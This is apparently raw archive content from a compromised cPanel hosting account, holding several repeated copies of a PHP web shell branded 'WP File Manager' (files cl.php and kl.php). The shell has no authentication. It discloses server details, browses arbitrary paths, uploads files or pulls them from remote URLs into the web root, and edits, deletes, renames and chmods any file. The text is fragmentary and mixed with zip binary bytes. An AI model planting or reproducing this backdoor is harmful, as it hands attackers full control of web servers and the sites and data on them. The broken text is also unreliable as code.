← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]`ìpBBinfo@gazetaliria.com/.metadatanu„[µü¤[addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK [calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c PK’&{]„N9³§Ë§Ëinfo@gazetaliria.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@gazetaliria.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 